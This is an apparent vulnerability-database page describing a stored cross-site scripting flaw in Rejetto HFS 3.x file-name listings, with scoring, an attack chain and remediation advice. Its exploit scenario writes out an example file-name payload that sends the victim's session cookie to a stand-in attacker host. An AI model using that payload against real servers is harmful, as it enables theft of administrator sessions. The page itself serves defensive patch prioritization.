Skip to main content

Rejetto HFS CVE-2026-61504

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-13 VulnCheck
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain upload access or identify open upload folder
  2. Delivery
    Upload file with XSS payload embedded in filename
  3. Exploit
    Craft directory URL with ?get=basic appended
  4. Execution
    Deliver link to target victim (e.g., admin)
  5. Persist
    Victim browser loads unescaped filename as HTML
  6. Impact
    Steal session cookie or escalate to admin

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Two conditions must be met: first, the attacker must be able to place a file with an arbitrary name on the HFS server - either via a low-privileged authenticated account with upload permission, or via a directory configured to allow anonymous uploads (a common deployment pattern for public-facing HFS shares). Second, a victim must load the directory listing in basic mode; critically, this is not left to chance - any HTTP client can force this mode by appending ?get=basic to the directory URL, meaning the attacker can engineer victim access by sharing a direct crafted link. Exploitation is limited to Rejetto HFS 3.0.0 through 3.2.0 specifically; the vulnerability does not affect the legacy 2.x codebase or v3.2.1 and later. Impact is bounded to the victim's browser session with no server-side code execution; however, if the victim is an HFS administrator, session hijacking can result in full administrative takeover. Non-default configuration limiting factor: servers that disable uploads entirely or restrict uploads to highly trusted principals substantially reduce the realistic attacker pool.

Impact

The CVSS 4.0 base score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N) reflects a moderate baseline: network-accessible with low complexity, but gated by upload privilege (PR:L) and victim interaction (UI:P). A meaningful gap exists between this score and real-world risk on permissively configured servers: when anonymous uploads are permitted, the effective privilege requirement collapses to unauthenticated, which the base score does not capture. The ?get=basic parameter bypass further weakens defenses, because an attacker can craft and distribute a direct URL that forces the vulnerable rendering mode, removing reliance on organic victim navigation. No EPSS data was provided; absent a KEV listing and with no public POC identified at time of analysis, opportunistic mass exploitation is not currently evidenced. However, the vendor's release notes explicitly warn that this and co-fixed vulnerabilities can 'potentially allow an attacker to gain administrative access to HFS,' indicating that the realistic worst-case impact exceeds the moderate CVSS score for deployments with admin users who browse the listing. The combination of low exploitation complexity, anonymous-upload reachability on misconfigured instances, and admin-session-hijacking potential makes this a genuine priority for organizations running HFS 3.x.

Exploit ScenarioDerived

An attacker targeting an HFS instance with an open upload folder uploads a file named something like '<img src=x onerror=fetch("https://attacker.example/c?"+document.cookie)>.txt', storing a persistent XSS payload at no cost. The attacker then sends an administrator a crafted link to the affected directory with ?get=basic appended; when the admin opens the link, their session cookie is exfiltrated, granting the attacker administrative control over the HFS instance. No public POC has been identified at time of analysis, but the attack mechanics are straightforward and require no specialized tooling.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 13, 2026

Stored XSS in Rejetto HFS 3.0.0 through 3.2.0 allows attackers with upload access - or any user on servers configured with publicly writable folders - to inject persistent browser scripts via maliciously named files in the 'basic' web listing mode. Because the basic listing can be forced by any visitor using the ?get=basic URL parameter, the vulnerable rendering path is reachable regardless of whether the default interface is exposed. The vendor's own v3.2.1 release notes state that vulnerabilities addressed in this release collectively enable administrative account compromise; no public exploit or CISA KEV listing has been identified, but a vendor-released patch is available.

RemediationAI

Upgrade to Rejetto HFS v3.2.1 immediately, as this release addresses this stored XSS and multiple co-reported vulnerabilities that collectively enable administrative access; the patch is available at https://github.com/rejetto/hfs/releases/tag/v3.2.1. If upgrading is not immediately possible, restrict file upload permissions to authenticated, trusted users only - this eliminates the primary injection vector on servers not already configured with open upload folders, though it will disrupt any public file-sharing workflow that depends on anonymous uploads. As an additional layer, deploying a reverse proxy with strict response-header Content-Security-Policy (CSP) rules blocking inline script execution can constrain the impact of any XSS payload reaching a victim browser, though this does not fix the root cause and CSP bypass techniques exist. Blocking or rewriting requests containing the ?get=basic query parameter at the network edge is a targeted workaround that prevents the vulnerable listing mode from being reached, but may break legitimate compatibility use cases. Note that the vendor credits the discovery to Horizon3.ai research in collaboration with Anthropic, and the release bundles fixes for multiple vulnerabilities, making full upgrade strongly preferable over piecemeal mitigations.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Rejetto HFS (HTTP File Server) 3.x is a self-contained, lightweight web-based file server written for personal and small-team use (CPE: cpe:2.3:a:rejetto:hfs). The product includes a fallback 'basic' HTML listing mode intended for compatibility with minimal browsers. CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting) applies: the filename, a user-controlled value, is written into HTML context in this code path without HTML-entity escaping. The attack surface is amplified by the fact that any HTTP client can force this rendering path by appending ?get=basic to a directory URL, bypassing whatever protections or UI the default listing may apply. The CVSS 4.0 subsequent-system impact metrics (SC:L/SI:L) confirm the impact is client-side - landing in other users' browser sessions, not on the server process - consistent with a stored, reflected-to-third-parties XSS pattern.

Know when Hfs gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Network-reachable stored XSS needing low-privilege upload access and victim interaction; scope changes to third-party browser sessions with low confidentiality and integrity impact, no availability effect.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Rejetto HFS 3.0.0 through 3.2.0 does not escape file names in its fallback "basic" web listing, and this listing can be forced by any browser via the ?get=basic parameter. A user with upload permission - or an anonymous user on servers with an open upload folder - can store a file whose name contains script that executes in the browser of anyone viewing the listing.

Threat Intelligence Overview

EPSS Score
0.2%
Top 93% exploitable
Prevalence
Medium
popular lightweight self-hosted file server, hobbyist and SMB deployments
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

cpe:2.3:a:rejetto:hfs:*:*:*:*:*:*:*:*

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy